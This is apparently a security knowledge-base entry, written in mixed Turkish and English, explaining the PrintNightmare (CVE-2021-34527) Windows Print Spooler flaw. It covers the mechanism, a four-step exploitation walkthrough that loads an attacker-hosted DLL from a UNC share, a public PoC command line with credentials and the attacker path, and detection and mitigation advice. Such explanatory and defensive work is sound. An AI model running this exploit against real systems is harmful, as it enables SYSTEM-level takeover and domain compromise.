PrintNightmare RpcAddPrinterDriverEx code exec (CVE-2021-34527)¶
Windows Print Spooler, authenticate edilmiş bir user'ın uzaktaki/yereldeki bir path'ten bir printer "driver"ı kurmasına izin verir;
spoolsv.exeo DLL'i SYSTEM olarak yükler ve kurulum RPC'sini local privilege escalation ile remote code execution'a çevirir.
Mechanism¶
PrintNightmare, RpcAddPrinterDriverEx'i (ve ilişkili AddPrinterDriverEx MS-RPRN/MS-PAR path'ini) suistimal eder. CVE-2021-1675'in bir kardeşidir: 1675 için çıkan yama bir LPE'yi ele aldı, ama 34527 privilege/path check'lerinin hâlâ bypass edilebilir olduğunu gösterdi.
Note
Trust invariant şudur: yalnızca privileged bir administrator bir print driver kurabilmelidir, çünkü spooler servisi (spoolsv.exe) SYSTEM olarak çalışır ve driver modüllerini o process'in içine yükler. Spooler, driver dosyalarını kopyalayıp ardından DRIVER_INFO yapısında adı geçen configuration/UI DLL'ini yükleyen RpcAddPrinterDriverEx'i dışa açar. Bug şu: driver kurulumunu administrator'lara kısıtlaması gereken privilege check bypass edilebilir (spooler çağrıyı normal, authenticate edilmiş bir user'dan kabul eder) ve driver path'i güvenilir yerel konumlara sınırlı değildir — saldırgan kontrolündeki bir UNC share'e (\\attacker\share\evil.dll) işaret edebilir. Yükleme SYSTEM düzeyindeki servisin içinde gerçekleştiği için, saldırgan tarafından sağlanan bir DLL SYSTEM privilege'leriyle çalışır. named-pipe/RPC arayüzü üzerinden uzaktan erişilebilir olduğundan, domain ortamlarında aynı zamanda bir RCE'dir.
Walkthrough¶
Kavramsal olarak exploitation şudur: kötü niyetli bir DLL host et, sonra RpcAddPrinterDriverEx'i onu yükleyecek şekilde sür.
1. Stand up an SMB share exporting evil.dll (the "driver"):
\\ATTACKER\share\evil.dll (a DLL whose DllMain runs your payload)
2. As any authenticated user, bind to the spooler RPC interface (MS-RPRN/MS-PAR)
over \pipe\spoolss on the target.
3. Call RpcAddPrinterDriverEx with a DRIVER_INFO_2/DRIVER_INFO that points
pConfigFile / pDataFile at the UNC path, and flags that skip the
"driver must be valid/compatible" restrictions.
4. spoolsv.exe (SYSTEM) copies and LOADS evil.dll -> DllMain runs as SYSTEM.
Public PoC'ler (örn. cube0x0'unki ve orijinal Zhiniang Peng & Xuefeng Li yayını) bunu Impacket tarzı RPC ile gerçekler:
# illustrative public-tooling invocation (cube0x0 PrintNightmare PoC)
python3 CVE-2021-34527.py 'DOMAIN/user:password@TARGET' '\\ATTACKER\share\evil.dll'
DLL nereye düşer
Bırakılan driver DLL'leri spooler'ın driver store'u altında belirir, örn.
C:\Windows\System32\spool\drivers\x64\3\..., ve başarılı bir yükleme tipik
olarak spoolsv.exe'nin beklenmedik bir modülü map'lemesi ve/veya
rundll32.exe spawn etmesi şeklinde görünür.
Warning
Yalnızca yetkili test için. PrintNightmare yaygın biçimde silah hâline getirildi; yamasız fleet'lerde tek bir low-privileged domain hesabı SYSTEM/domain compromise'a pivot edebilir.
Detection¶
spoolsv.exe'nin az önce yazılmış...\spool\drivers\...içindeki DLL'leri yüklemesi ya darundll32.exe/child process spawn etmesi.%SYSTEMROOT%\System32\spool\drivers\...içinde yeni DLL'ler ve non-admin user'lardan gelenRpcAddPrinterDriverExçağrıları.- UNC/uzak path'lere referans veren
spoolsv.exeiçin Sysmon ImageLoad event'leri.
Mitigation¶
- Microsoft'un CVE-2021-34527 güncellemelerini uygulayın; yalnızca admin'lerin driver kurabilmesi için
RestrictDriverInstallationToAdministrators = 1ayarlayın (PointAndPrintregistry sertleştirmesi). - Mümkün olduğunda yazdırma yapmayan host'larda (özellikle domain controller'larda) Print Spooler servisini devre dışı bırakın.
- Spooler uzak driver DLL'lerini çekemesin diye giden SMB'yi engelleyin.